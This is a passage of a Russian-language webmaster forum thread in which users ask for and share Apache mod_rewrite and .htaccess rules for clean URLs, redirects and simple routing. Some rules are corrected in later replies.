RewriteRule ^papka/([a-z]*)/(.*)?$ load.php?fs=$1&file=$2 [L,QSA]

366. Марсель (20.02.2011 / 23:29)
в папку с load.php
в .htaccess
RewriteEngine ON
RewriteRule ^load/(.*?)$ load.php?fs=load&file=$1 [QSA,L]

367. Karayazi (21.02.2011 / 12:36)
404 Not Found

nginx/0.7.66

368. Марсель (22.02.2011 / 19:00)
подробнее...

369. Виталий (26.02.2011 / 02:19)
Есть ссылка
site.net/forum/forum.php?id=1
Как сделать:
site.net/forum/forum/1
или site.net/forum/1

370. Денис (26.02.2011 / 02:26)
370. Виталий Николаевич, RewriteRule ^([0-9]+)/*$ ./forum.php?id=$1 [QSA,NC]

371. Виталий (26.02.2011 / 02:53)
371.спасибо ето к какому варианту?_)

372. Денис (26.02.2011 / 02:54)
к второму)

373. Виталий (26.02.2011 / 02:59)
373.где можна найти материал по мод.реврайт что самому составлять правила?

374. Денис (26.02.2011 / 03:08)
374. Виталий Николаевич, даже не знаю, поищи в гугле или готовые скрипты рассмотри..

375. Марсель (26.02.2011 / 04:58)
http://wapinet.ru/textbook/mod_rewrite/

376. Not Sure (05.03.2011 / 15:04)
есть ссылка вида http://site.ru/index.php?id=1&page=2
подскажите как её преобразовать к виду http://site.ru/1/2/

377. Lugaro (05.03.2011 / 15:12)
RewriteEngine ON
RewriteRule ^([0-9]+)/([0-9]+)/$ index.php?id=$1&page=$2 [QSA,L]

378. Руслан (08.06.2011 / 06:00)
и что она дает?

379. ZipeR (08.06.2011 / 15:12)
ruslango (8 Июня 2011 / 11:00)
и что она дает?
377 пост.

380. valakas (12.06.2011 / 21:11)
http://site.ru/exchange/index.php?act=reg
Как сделать чтобы было /exchange/registration
http://site.ru/exchange/index.php?menu=stat
Как сделать чтобы /exchange/statistic

381. valakas (14.06.2011 / 00:52)
что никто не знает?

382. Дмитрий (14.06.2011 / 01:02)
381. heyhey,
RewriteEngine ON
RewriteRule ^exchange/registration$ exchange/index.php?act=reg
RewriteRule ^exchange/statistic$ exchange/index.php?menu=stat


383. valakas (14.06.2011 / 01:25)
спасибо =)

384. TaPaHbl4 (20.06.2011 / 17:28)
383. dima.london, это в .htaccess писать?

385. Дмитрий (20.06.2011 / 17:59)
конечно

386. Андрей (02.07.2011 / 09:39)
Не обязательно, можно в httpd.conf или отдельный файл создать для этого.

387. Tinga (08.08.2011 / 21:21)
как с помощью мод реврайта составить такую ссылку чтобы было без расширения файла?

388. Петр (09.08.2011 / 07:37)
388. Tinga, как-то так -
RewriteEngine on
RewriteCond %{SCRIPT_FILENAME} -d
RewriteRule ^/$ "" [L]
#если это папка, то выходим

RewriteCond %{SCRIPT_FILENAME}.php -f
RewriteRule ([^\.] [^/]) $1.php [L]
#php файл

RewriteCond %{SCRIPT_FILENAME}.html -f
RewriteRule ([^\.] [^/]) $1.html [L]
#html файл
Аналогично можно добавить и другие расширения.

389. Tinga (09.08.2011 / 08:20)
389. Im-ieee, На денвере 500 ошибка выбивает.
На вот это:

RewriteCond %{SCRIPT_FILENAME}.php -f
RewriteRule ([^\.] [^/]) $1.php [L]

390. Петр (09.08.2011 / 08:42)
Блин, походу сайт убрал плюс - должно быть ([^\.]плюс[^/]).

391. Tinga (09.08.2011 / 08:58)
Да? Щас попробуем...

Ога спасибо! Работает.

392. Виталий (05.09.2011 / 19:23)
Помогите пожалуйста составить несколько правил mod_rewrite
http://site.com/modNews/index.php?id=$id => http://site.com/News/news$id
http://site.com/modNews/index.php?page=$page => http://site.com/News/page$page

http://site.com/modPhoto/index.php?id=$id => http://site.com/Photo/id$id
http://site.com/modPhoto/index.php?uid=$uid => http://site.com/Photo/photo$uid

http://site.com/contakt.php => http://site.com/mail/

Спасибо!И плюс с мене =)

393. Дмитрий (01.10.2011 / 00:53)
код ник.сайт.ру на один домен

RewriteEngine On
RewriteCond %{HTTP_HOST} !^$
RewriteCond %{HTTP_HOST} !^(www\.)?site\.ru$ [NC]
RewriteCond %{HTTP_HOST}---%{REQUEST_URI} ^([^\.]+)\.site\.ru---/([^/]+)? [NC]
RewriteCond %1---%2 !^(.*)---\1$ [NC]
RewriteRule ^(.*)$ http://site.ru/!%1$1 [R=301,L]
RewriteRule ^!(.*)$ /anketa.php?u=$1

вопрос что делать если домена два?

394. AlyOha (01.10.2011 / 12:48)
Нужно изменить ссылку site.ru/forum/topic.php?tid=1&start=0
на site.ru/forum/top/1&0
какой код нужно добавить в .htaccess?

395. Николай (05.10.2011 / 22:43)
друзья а реально ли при помощи ModRewrite делать так site.ru/index.php?user=vasya >>> vasya.site.ru
если возможно подскажите как? за ранние при много благодарен

396. XoPyC (05.10.2011 / 23:56)
396. wps, можно. Функция WildCard , что-то в этом духе. И немного кода в хтач

397. Петр (11.11.2011 / 06:17)
396. wps, вроде нужно делать еще какие-то записи в свойствах домена.

398. Дмитрий (11.11.2011 / 07:54)
id1 (5 Сентября 2011 / 18:23)
Помогите пожалуйста составить несколько правил mod_rewrite
http://site.com/modNews/index.php?id=$id => http://site.com/News/news$id
http://site.com/modNews/index.php?page=$page => http://site.com/News/page$page

http://site.com/modPhoto/index.php?id=$id => http://site.com/Photo/id$id
http://site.com/modPhoto/index.php?uid=$uid => http://site.com/Photo/photo$uid

http://site.com/contakt.php => http://site.com/mail/

Спасибо!И плюс с мене =)
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [L]

RewriteRule ^News/news([0-9]+)$ /modNews/index.php?id=$1 [L]
RewriteRule ^News/page([a-zA-Z0-9_-]+)$ /modNews/index.php?page$1 [L]
RewriteRule ^Photo/id([0-9]+)$ /modPhoto/index.php?id=$1 [L]
RewriteRule ^Photo/photo([0-9]+)$ /modPhoto/index.php?uid=$1 [L]
RewriteRule ^mail$ /contakt.php [L]
RewriteRule ^mail/$ /contakt.php [L]


399. Серега (07.12.2011 / 18:04)
только сейчас столкнулся с ModRewrite. Вобщем у меня в .htaccess есть такая запись

RewriteEngine On
RewriteBase /
RewriteRule ^login/(/?)+$ index.php?do=login [L]
RewriteRule ^registration/(/?)+$ index.php?do=registration [L]

если зайти на страницу авторизации и с неё сразу перейти на регистрацию, то url получается такой
http://site.ru/login/registration/
ну и конешно же получается ошибка. Почему так происходит?

Разобрался. ошибка в самой ссылке была. не поставил /

400. ★☆ ИгRok™ ☆★ (17.12.2011 / 16:44)
мужики,как сделать из ссылки
sitе.ru?act=view&tid='.$text['tid'].' например,такую sitе.ru/viеw/'.$tехt['tid'].' и из sitе.ru/comments.php?tid='.$text['tid'].' например,такую sitе.ru/соmm/'.$text['tid'].' или что-то типа в этом роде,чтобы попроще было. За ранее спасибо,с меня плюс

401. geron (17.12.2011 / 17:16)
RewriteRule comm/^([a-z]+)/$ comments.php?tid=$1

но не ручаюсь что правильноsmile

402. halsoft (19.12.2011 / 21:21)
geron (17 Декабря 2011 / 17:16)
RewriteRule comm/^([a-z]+)/$ comments.php?tid=$1

но не ручаюсь что правильноsmile

Может [0-9] - это ж tid smile

403. Серега (23.12.2011 / 14:19)
подскажите как зделать вывод контента по ссылке site.ru/test.html

test это название страницы которая берётся из БД.
не могу понять как передать скрипту что ссылка вида site.ru/test.html должна перейти на case 'content': и там уже делать другие операции.

404. Ден (06.02.2012 / 01:19)
Options +FollowSymlinks
RewriteEngine On
RewriteCond %{http_host} ^domain.com [NC]
RewriteRule ^(.*)$ http://www.domain.com/$1 [R=301,NC]
Вот это будет редирект с www.domain.com на domain.com? или наоборот?

405. Андрюха (14.02.2012 / 02:53)
RewriteRule ^([0-9]+)/$ index.php?cat_id=$1

gпри переходе site.ru/1 ошибка 404. Что не так?

406. Андрюха (14.02.2012 / 03:03)
Вопрос снят) Зделал

407. KOZZ (16.04.2012 / 12:27)
Никогда не был фанатом подобной фичи, но сейчас хочу попробовать.
Пытался пытался, нифига не нашел.
Заменить:
http://site.ru/modules/manager/index.php на http://site.ru/manager/
ну и так далее, разумеется:
http://site.ru/modules/manager/file.php на http://site.ru/manager/file.php


408. Петр (17.04.2012 / 07:20)
RewriteEngine On
RewriteRule ^manager/(.*)$ /modules/manager/$1

409. KOZZ (17.04.2012 / 11:03)
409. Im-ieee, и так для каждого модуля индивидуально делать? а маску какую нибудь можно реализовать, чтоб не прописывать каждый модуль manager, reviews, guestbook, итд итп?

410. Алексей (17.04.2012 / 11:23)
410. eGo Ушел в Тень,
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteRule ^.*$ index.php [NC,L]
входная точка одна index.php там сам разруливаеш что и куда

411. Петр (17.04.2012 / 12:40)
RewriteEngine on
RewriteCond $1 !^modules [NC]
RewriteRule ^(.*)$ modules/$1
Все запросы, кроме начинающихся с modules идут в modules

412. Angel00001 (21.04.2012 / 01:28)
Делаю на локалке так
RewriteEngine On
RedirectMatch (.*)wp-admin/post.php?post=(.*)&action=edit&message=8 http://site.ru

Вопрос: почему не работает переадресация?
Этим
(.*)
заменяю переменные значения в адресе. В чем проблема?
Локалка - xampp.

413. Андрей (14.05.2012 / 12:15)
Всем здряф! Как сделать чтобы страница с именем test.php стала просто test?))

414. Павел (14.05.2012 / 12:36)
414. KiPiSH, чтобы для всех
RewriteRule ^([a-zA-Z0-9_]+)$ $1.php


415. Петр (14.05.2012 / 19:56)
416. GingerBread, имя файла может содержать и другие символы (точку и дефис, например). Я уже писал в этой теме работающий вариант. :-)

416. KOZZ (20.05.2012 / 20:28)
11, 12 - не работает.
не могу я осилить этот долбаный mod_rewrite.

все модули сайта закинул в папку modules.
индексная страница лежит в modules/index/index.php
регистрация - http://site.ru/modules/registration/index.php
гостевая - http://site.ru/modules/guestbook/index.php

хочу сделать так, чтобы в адресной строке были запросы такие:
вместо http://site.ru/modules/index/index.php - http://site.ru/index/
вместо http://site.ru/modules/registration/index.php - http://site.ru/registration/
вместо http://site.ru/modules/guestbook/index.php - http://site.ru/guestbook/

юзер заходит на http://site.ru/, попадает на http://site.ru/index
юзер хочет зарегистрироваться - попадает на http://site.ru/registration.
думаю уловили.
Как это сделать? Уже битый час пытаюсь разобраться - нифига не помогает, манов кучу перечитал - не вкуриваю и все тут.

417. Алексей (20.05.2012 / 20:45)
418. eGo Работает на Себя, ну не работает потому что

входная точка одна index.php там сам разруливаеш что и куда
а у тебя бред какойто) входных точек должно быть ну максимум 2

418. KOZZ (21.05.2012 / 11:06)
419. megabit, не понимаю, будь добр, объясни

419. KOZZ (21.05.2012 / 11:26)
пример алгоритма хотя бы

420. Петр (21.05.2012 / 12:47)
Странно, у меня все (кроме перехода на index, если не указан модуль) работало. Вот полный код:
RewriteEngine on
#главная
RewriteRule ^$ modules/index/ [L]
RewriteCond $1 !^modules(?:/|$) [NC]
RewriteRule ^(.*)$ modules/$1
.htaccess - в корне

421. Алексей (22.05.2012 / 08:44)
420. eGo Работает на Себя,
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteRule ^.*$ index.php [NC,L] 

в Входной точке index.php
имеем следующий код
<?php
/* ...  */
$uri = $_SERVER['REQUEST_URI']; // здесь получаем строку вида /guestbook/add/1
/* дальше можно сделать так */
$uri = explode('/', $uri);
/**
 $uri[0] - Модуль
 $uri[1] - действие
 $uri[2..N] - Параметры
**/

?>
Cобственно подключаешь модуль - действие, передаешь параметры

422. KOZZ (22.05.2012 / 11:37)
423. megabit, в mobile cms залез - примерно понял о чем речь, там через класс роутера это все реализовано, мне пока попроще нужно решение. сейчас твой код помог до конца разобраться )) спасибо огромное, +1

423. KOZZ (22.05.2012 / 12:05)
мда.. принцип то понял, только вот опять ничего не работает.
вставил твой код в htaccess, для проверки в index.php написал переадресацию на http://site.ru/index - выдает пустую страницу, у меня просто выполняется index.php из корневого каталога.

424. Алексей (22.05.2012 / 12:12)
425. eGo Работает на Себя, чудно, но видимо чтото ты не так делаеш, только что имеено так и сделал.
точто посмотрел в Mobilecms так это и есть суть роутинга,
когда подключаеш модуль - вызываеш класс по имени модуля, действие - это метод, ну и параметры в него если неоходибмо, либо через глобальный $request

425. KOZZ (22.05.2012 / 12:16)
426. megabit, я просто только начал изучать mvc, и у меня немножко по другому. у меня не класс для каждого модуля, а файл со swtich-case для каждого действия.

426. Dizerd (22.06.2012 / 13:33)
Здравствуйте. Такая ситуация.
в файле .htaccess я прописал:

RewriteRule ^contacts$ contacts.html [L]

Но мне надо сделать так,чтобы страница открывалась так http://site.ru/contacts/
а при пепеходе http://site.ru/contacts (без слеша) то был редирект стразу на http://site.ru/contacts/

Помогите такое сделать, желательно стразу код для .htaccess

Заранее благодарю.

или

сделать чтобы че бы ты не водил к примеру site.ru/3423424 то оно перекидовало на ite.ru/3423424/ но надо чтобы редирект был не для 3423424 а для всего чтобы не вводил.. к примеру вел я site.ru/test то перекинуло на site.ru/test/ (добавлялся /)

427. ramzes (22.06.2012 / 13:44)
426. eGo Работает на Себя, а так?
http://code.smartoff.net/source/file/classes---rewriter.class.php/
в папке темплейт исполняемые файлы, в корневом индексе
<?
$Router = new rewriter();
$Router->indexVar(false);
$Router->Rewrite();
include($Router->route());
в хитаччесе
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteBase /
RewriteRule ^(.*?)/$ index.php?rewriter=$1 [L,QSA]
</IfModule>


428. Андрюха (22.06.2012 / 15:13)
Зачем <IfModule mod_rewrite.c> ? Раз спрашивают,значит видимо включен реврвйт)))

429. Петр (23.06.2012 / 10:10)
427. Dizerd, ну, во-первых, если папка существует, а слеш в конце отсутствует, то, в адресе он все равно добавляется (не знаю, честно говоря, почему smile ). А вот и код .htaccess
RewriteEngine on
#переадресация с кодом 301 (moved permanently)
RewriteRule ^contact$ %{SCRIPT_URI}/contact/ [R=301,L]
RewriteRule ^contact/$ contact.html [L]


430. Dizerd (23.06.2012 / 11:47)
Im-ieee (23 Июня 2012 / 10:10)
427. Dizerd, ну, во-первых, если папка существует, а слеш в конце отсутствует, то, в адресе он все равно добавляется (не знаю, честно говоря, почему smile ). А вот и код .htaccess
RewriteEngine on
#переадресация с кодом 301 (moved permanently)
RewriteRule ^contact$ %{SCRIPT_URI}/contact/ [R=301,L]
RewriteRule ^contact/$ contact.html [L]

А возможно как то это все в 1 код организовать?

431. Петр (25.06.2012 / 11:30)
431. Dizerd, что плохого в 2х строчках? Очень сильно сомневаюсь, что в одну строку можно объединить переадресацию и изменение адреса.

432. GodZiLLa (28.06.2012 / 17:15)
Как сделать в роторе ссылку сайт.ру/pages/user.php?uz=Юзер&
в виде сайт.ру/Юзер ?
И чтоб потом все странички в pages работали нормально ?

433. Дмитрий (28.06.2012 / 17:20)
433. ®_GodZiIIa_€,
RewriteRule ^(.*)$ /pages/user.php?uz=$1 [L]
RewriteRule ^(.*)$ /pages/user.php?uz=$1& [L]


434. GodZiLLa (28.06.2012 / 17:25)
dima.london (28 Июня 2012 / 17:20)
433. ®_GodZiIIa_€,
RewriteRule ^(.*)$ /pages/user.php?uz=$1 [L]
RewriteRule ^(.*)$ /pages/user.php?uz=$1& [L]
Спасибо!
Вот только помоему другие страницы в pages не будут работать как надо ?
если не ошибаюсь, нужно через http:/ делать ???

435. GodZiLLa (28.06.2012 / 17:38)
Блин, вообще на главную не заходит.
Сразу в анкету кидает
RewriteRule ^(.*)$ /pages/user.php?uz=$1 [L]
RewriteRule ^(.*)$ /pages/user.php?uz=$1& [L]

436. ramzes (28.06.2012 / 17:46)
Ясен пень, любой запрос переводит
^user/([a-zA-Z0-9\-\.]+)$ так поробуй лучше
/user/myname

437. GodZiLLa (28.06.2012 / 17:59)
ramzes (28 Июня 2012 / 17:46)
Ясен пень, любой запрос переводит
^user/([a-zA-Z0-9\-\.]+)$ так поробуй лучше
/user/myname
Так нормально, анкета открывается,
но подмена pages на user все сыллки в анкете в user переносит,
а там через pages....

Добавлено через 07:39 сек.
Хотя это можно решить.
Просто в анкете прописать полные пути...
С более коротким вариантом никак ???
сайт.ру/юзер ???
анкету если только в корень перенести ?

438. Дмитрий (28.06.2012 / 18:33)
®_GodZiIIa_€ (28 Июня 2012 / 16:38)
Блин, вообще на главную не заходит.
Сразу в анкету кидает
Правильно. Для этих целей главную переносят в подпапку, а на нее делают правило мод-реврайтом, как и для анкеты.

439. GodZiLLa (28.06.2012 / 18:39)
dima.london (28 Июня 2012 / 18:33)
Правильно. Для этих целей главную переносят в подпапку, а на нее делают правило мод-реврайтом, как и для анкеты.
А поподробнее можно ???

440. Дмитрий (28.06.2012 / 19:43)
Короче, напиши с .htaccess так и не парься
RewriteRule ^$ index.php [L] 
RewriteRule ^index.php$ index.php [L] 
RewriteRule ^([a-zA-Z0-9_@.]+)$ /pages/user.php?uz=$1 [L]

Ну и соответственно внеси в список запрещенных логинов названия всех папок на сервере, чтоб к ним был доступ и они не попадали под правило мод-реврайта. А то к примеру, вместо форума, люди будут попадать на страницу юзера с логином forum.

441. GodZiLLa (28.06.2012 / 19:58)
dima.london (28 Июня 2012 / 19:43)
Короче, напиши с .htaccess так и не парься
RewriteRule ^$ index.php [L] 
RewriteRule ^index.php$ index.php [L] 
RewriteRule ^([a-zA-Z0-9_@.]+)$ /pages/user.php?uz=$1 [L]

Ну и соответственно внеси в список запрещенных логинов названия всех папок на сервере, чтоб к ним был доступ и они не попадали под правило мод-реврайта. А то к примеру, вместо форума, люди будут попадать на страницу юзера с логином forum.
И как внести в список запрещенных логинов названия всех папок на сервере ?

442. Дмитрий (28.06.2012 / 20:10)
®_GodZiIIa_€ (28 Июня 2012 / 18:58)
И как внести в список запрещенных логинов названия всех папок на сервере ?
в самой свежей лиц. версии ротора - тут:
http://site.ru/mpanel/blacklist.php?page=login&

443. GodZiLLa (28.06.2012 / 21:05)
dima.london (28 Июня 2012 / 19:43)
Короче, напиши с .htaccess так и не парься
RewriteRule ^$ index.php [L] 
RewriteRule ^index.php$ index.php [L] 
RewriteRule ^([a-zA-Z0-9_@.]+)$ /pages/user.php?uz=$1 [L]

Ну и соответственно внеси в список запрещенных логинов названия всех папок на сервере, чтоб к ним был доступ и они не попадали под правило мод-реврайта. А то к примеру, вместо форума, люди будут попадать на страницу юзера с логином forum.
Вот как раз с этим то и нет проблем с разделами сайта, кроме одного.
Ссылки из анкеты уже без папки pages. То есть вместо
Стена сообщений сайт.ru/pages/wall.php?uz=User&
Стало сайт.ru/wall.php?uz=User&

Добавлено через 01:14 сек.
А так работает переход.
И остальные разделы сайта.

444. Дмитрий (28.06.2012 / 21:09)
Это структура движка. От нее никуда не денешься. Руками меняй все ссылки в движке с ../wall.php на /wall.php

445. GodZiLLa (28.06.2012 / 21:26)
dima.london (28 Июня 2012 / 21:09)
Это структура движка. От нее никуда не денешься. Руками меняй все ссылки в движке с ../wall.php на /wall.php
Вернее наоборот наверное. раз pages убрано, то полный путь в анкете писать придётся...
Срабатывает именно после перехода на сайт.ру/Юзер pages из ссылок исключается.
Просто нужно бы на все страницы и модули реврайт делать,
то есть вместо сайт.ru/pages/wall.php?uz=Юзер&
Было сайт.ru/pages/wall/Юзер или сайт.ru/wall/Юзер
Можно ли как то задать, чтоб pages учитывалось, но небыло в ссылке ?
То есть, всё, что в pages обрабатывалось из корня сайта ?

446. Дмитрий (28.06.2012 / 22:03)
446. ®_GodZiIIa_€, да, айм сорри. Там просто указано адреса типа wall.php? что подрозумевает под собой, что интерпретатор автоматически составит адрес и возьмет путь к нему из текущей папки. Но раз ты изменил путь через мод-реврайт, то и пути надо подправлять. было wall.php, сделай /pages/wall.php

Так же может быть и с картинками. В частности, со смайлами.

447. GodZiLLa (28.06.2012 / 22:12)
Да не, картинки нормально в анкете отображает.

Я вот к чему, чтоб все файлы из папки pages обрабатывало бы как бы из корня сайта. То есть без pages, но сами файлы при этом оставались там.
Реврайтом как то можно задать такую тему ?

448. ramzes (28.06.2012 / 22:30)
438. ®_GodZiIIa_€, для подобныз целей роутер используют, а не хитаччесс мучают

449. GodZiLLa (28.06.2012 / 22:40)
449. ramzes, да я думал уже над этим.
Твой роутер смотрел, но пока не вьехал.
Побольше бы коментариев и пояснений, чтоб для чайника было понятно )))

450. Петр (29.06.2012 / 08:01)
450. ®_GodZiIIa_€, я бы сделал не замену адреса, а переадресацию. В этом случае все ссылки сохраняются.

451. GodZiLLa (29.06.2012 / 18:42)
То есть ???

452. Петр (30.06.2012 / 09:34)
452. ®_GodZiIIa_€, ну, при переходе на ссылку, будет выполняться переадресация на нужный адрес, типа header('Location: *'); для этого нужно заменить [L] на [R=301,L]

453. GodZiLLa (30.06.2012 / 17:14)
Im-ieee (30 Июня 2012 / 09:34)
452. ®_GodZiIIa_€, ну, при переходе на ссылку, будет выполняться переадресация на нужный адрес, типа header('Location: *'); для этого нужно заменить [L] на [R=301,L]
В каком месте менять [L] на [R=301,L] ???
Во всех трёх строках ?

RewriteRule ^$ index.php [L]  
RewriteRule ^index.php$ index.php [L]  
RewriteRule ^([a-zA-Z0-9_@.]+)$ /pages/user.php?uz=$1 [L]


454. Петр (01.07.2012 / 07:05)
454. ®_GodZiIIa_€, в том месте, где тебе нужна переадресация, очевидно. smile Я имел в виду третье RewriteRule. Впрочем, полагаю, ты сам уже попробовал.

455. GodZiLLa (01.07.2012 / 13:58)
Im-ieee (1 Июля 2012 / 07:05)
454. ®_GodZiIIa_€, в том месте, где тебе нужна переадресация, очевидно. smile Я имел в виду третье RewriteRule. Впрочем, полагаю, ты сам уже попробовал.
Нет, ещё не попробовал, пока другим пришлось заняться.
Но спасибо за подсказку )))
Чуть позже поэксперементирую...))

456. Дмитрий (03.07.2012 / 22:15)
Вобщем, такая трабла.
Есть адрес типа http://site.ru/addr#/hash

Вместо него надо перенаправить на адрес http://site.ru/hash
То есть надо из адреса вырезать все, что до хеша (вместе с хешем), оставить только то, что после него, и перенаправить по этому адресу (ажрес в строке должен быть заменен на новый).

Трабла в том, что хеш (#) в htaccess определяется как комментарий. То, что до хеша и после него - динамично, то есть заведомо неизветно.

Кто посоветует чего?

457. Виталий (03.07.2012 / 22:37)
dima.london (3 Июля 2012 / 22:15)
Вобщем, такая трабла.
Есть адрес типа http://site.ru/addr#/hash

Вместо него надо перенаправить на адрес http://site.ru/hash
То есть надо из адреса вырезать все, что до хеша (вместе с хешем), оставить только то, что после него, и перенаправить по этому адресу (ажрес в строке должен быть заменен на новый).

Трабла в том, что хеш (#) в htaccess определяется как комментарий. То, что до хеша и после него - динамично, то есть заведомо неизветно.

Кто посоветует чего?

а с \# разве никак???

458. Виталий (03.07.2012 / 22:52)
457. попробуй \%23 еще

459. Дмитрий (03.07.2012 / 23:04)
459. Виталик Альянс, да, вспомнил насчет этого нюанса. Спасибо. А как вырезать то, что до хеша (вместе с хешем)?

460. Дмитрий (04.07.2012 / 00:57)
Да, это невозможно. Сервер не принимает якоря, и не может их обработать. Решил вопрос через JS.

461. Виталий (25.09.2012 / 09:11)
Есть адрес http://сайт.ру/папка1/папка2/?folder=[всегда разная переменная]&file=[всегда разная переменная]&download&sid=[разный id сессии]
нужно перекидывать на http://сайт.ру/мояпапка/

462. Петр (26.09.2012 / 07:10)
462. vitv3, как-то так
RewriteCond %{QUERY_STRING} ^folder=[^&]+&file=[^&]+download&sid=.+$
RewriteRule ^папка1/папка2/$ мояпапка/? 


463. Иван (03.10.2012 / 22:43)
Поправьте пожалуйста

RewriteCond %{QUERY_STRING} ^/[a-z0-9]$=
RewriteRule (.*) /$1? [R=301,L]

Нужен редирект со всех qwery strin файла index.php на главную

464. Петр (06.10.2012 / 10:26)
464. Fantik, если правильно понял:
RewriteCond %{QUERY_STRING} !^$
RewriteRule ^index.php$ index.php? [R=301,L]


465. Иван (10.10.2012 / 21:37)
465. Im-ieee, спасибо за внимание, но не работает

466. Петр (11.10.2012 / 07:57)
466. Fantik, проверил - действительно не работает sad Вместо index.php? нужно написать %{REQUEST_URI}?

467. Иван (12.10.2012 / 11:44)
467. Im-ieee, редирект всё равно не происходит вот такие url site.ru/?wob=ba4kJH

Добавлено через 04:25 сек.
Допустим такой вариант

RewriteCond %{QUERY_STRING} ^ref=
RewriteRule (.*) /$1? [R=301,L]

Переадресует все ссылки с параметром ref, а мне надо что редиректился любой параметр

468. Петр (12.10.2012 / 13:23)
468. Fantik, этот код выполняет переадресацию для всех файлов, а не только index.php. Если так и надо, то нужно просто изменить RewriteCond как я написал - RewriteCond %{QUERY_STRING} !^$ Если же нужно для index.php и корня, то в моем коде нужно заменить ^index.php$ на ^(?:|index.php)$

469. Иван (12.10.2012 / 17:38)
469. Im-ieee, спасибо всё работает. Надо как-то регулярки начинать изучать

470. Dagxxx (15.01.2013 / 22:57)
подскажите как перегнать правила mod_rewrite под nginx?

471. Изнаур (17.01.2013 / 17:21)
471. -xXx-, http://winginx.ru/htaccess вот этим попробуй

472. ubnt (05.02.2013 / 23:44)
как можно создать автологин на сайт (например: site.ru/authologin/sffdc46fhgcrhgsgh)

mysql как база, где хранится логин и пароль у md5.

473. Петр (07.02.2013 / 09:52)
473. ubnt, неочевидно, какой адрес тебе нужно преобразовать к такому виду.

474. ubnt (07.02.2013 / 16:25)
474. Im-ieee, просто какойто адрес, с помощу которого можно авторизоватся

475. Андрюха (07.02.2013 / 16:38)
Ты хочешь разово ссылку генерировать для конкретного юзера или постоянную, с передачей гетом логина и пароля?

476. ubnt (07.02.2013 / 16:45)
476. Wapruks, разово ссылку генерировать для конкретного юзера

477. Андрюха (07.02.2013 / 17:10)
Ну для начала генерируй например md5 код чего либо, добавляй в таблицу конкретному юзеру, при авторизации проверяй код из ссылки с кодом в таблице и если совпадают, то авторизируй и удаляй код из таблицы. Что то типа этого:

<?php

$code = md5(time());
mysql_query("UPDATE `users` SET `code` = '$code' WHERE `login` = 'login`");

?>

Потом при авторизации

$code = isset($_GET['code']) ? mysql_real_escape_string($_GET['code']) : NULL;

    $check = mysql_query("SELECT `login`, `password` FROM `users` WHERE `code` = '$code' LIMIT 1");

    if(mysql_num_rows($check))
    {
        //авторизируй

    } else {

        //ошибка
    }

В .htaccess

Options FollowSymLinks

RewriteEngine on

RewriteBase /

RewriteRule ^authologin/([a-zA-Z0-9]*)/?$ /dir/authologin.php?code=$1

Давно не кодил, могут быть ошибки. md5 естественно генерируй сложнее

478. finall2 (23.02.2013 / 19:59)
И так smile Необходимо, чтоб по адресу

site.ru/text/ok/user/incl/files/images/pict.jpg
открывался файл
site.ru/files/images/pict.jpg
Очевидно, что "/text/ok/user" может изменятся, также как и "files/images/pict.jpg".
Постоянная только "виртуальная папка - разделитель" - "/incl/".
По сути, нужно обрезать всё, что идет до /incl/, а то, что идет после /incl/ перенаправлять в корень, которым является местоположение файла .htaccess.
Что-то вроде
RewriteRule ^/([0-9a-zA-Z\/\.]*)$ ([a-zA-Z0-9\/]*)/incl/$1 [QSA]


479. shilo (24.02.2013 / 15:17)
479. ForGotTen_HHTеаm, подобное извращение вообще не имеет смысла, особенно если на сервере установлен nginx. Ты просто перекладываешь статику на плечи apache, тем самым увеличиваешь нагрузку создаваемую аккаунтом на сервер, причём не имея никаких плюсов.
Статику лучше всего размещать на отдельном поддомене в открытом виде для асинхронной загрузки (всякие css, xml и т.д. лучше даже заранее gzip'нуть)

480. iNeeXT (24.02.2013 / 15:43)
Очень полезная статья по Mod Rewrite. Можно и в первый пост добавить.
http://habrahabr.ru/company/sprinthost/blog/129560/

481. finall2 (24.02.2013 / 19:37)
shilo (24 Февраля 2013 / 15:17)
Ты просто перекладываешь статику на плечи apache, тем самым увеличиваешь нагрузку создаваемую аккаунтом на сервер, причём не имея никаких плюсов.
Статику лучше всего размещать на отдельном поддомене в открытом виде для асинхронной загрузки (всякие css, xml и т.д. лучше даже заранее gzip'нуть)
Ахах, совсем забыл, что статику у меня проксирует nginx и до apache, который делает магию запросы будут не доходить) Нужно играться с nginx'ом. Ну, тем интереснее)

Добавлено через 03:02 сек.
Кстати, говоря, необходимость в создании данного варианта на apache не пропала т.к. на локали nginx у меня не стоит. Потому необходимо устроить работоспособность и на apache, и на nginx.

482. Петр (25.02.2013 / 17:32)
479. ForGotTen_HHTеаm,
RewriteRule ^(?:.+?/|)incl/(.+)$ $1
если я правильно понял.

483. finall2 (08.03.2013 / 19:54)
483. Верно, большое спасибо. Работает.
Кстати, кто не понял - суть в том, чтобы избавиться от констант и переменных с корнем/адресом сайта.
И позволить подключать статические файлы независимо от их местоположения, которое теоретически меняется за счет использования mod_rewrite.

484. Алексей (08.03.2013 / 20:12)
484. ForGotTen_HHTеаm, для этого используют абсолютные пути, а не такой костыль который ты хочешь написать в mod_rewrite

485. finall2 (09.03.2013 / 00:18)
485. Что ты подразумеваешь под абсолютными путями? Приводи примеры.
У меня есть html файл, который подключается блочным шаблонизатором.
Содержимое такое :

        <title><!--title--></title>
        <meta name="keywords" content="<!--keywords-->" />
        <meta name="description" content="<!--description-->" />
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <link href="templates/index/css/osx.css" rel="stylesheet">
        <link href="templates/index/css/css.css" rel="stylesheet">
Как ты предложишь решить проблему, при которой использование mod_rewrite с непредсказуемой вложенностью изменяет местоположение данного файла.

486. Алексей (09.03.2013 / 07:52)
486. ForGotTen_HHTеаm,
 <link href="[b]/templates/index/css/css.css[/b]" rel="stylesheet">


487. finall2 (09.03.2013 / 17:17)
487. Это тоже не вариант, поскольку одним из требований к скрипту является полноценный запуск и работа из любой директории, в которую он установлен.

488. Arab (05.08.2013 / 14:50)
RewriteBase /
RewriteRule ^/news-([a-zA-Z0-9:]*)?$ index.php?option=com_content&view=article&id=$1
Что тут неправильно написал я? Пишет error404. Рабочая ссылка такова:
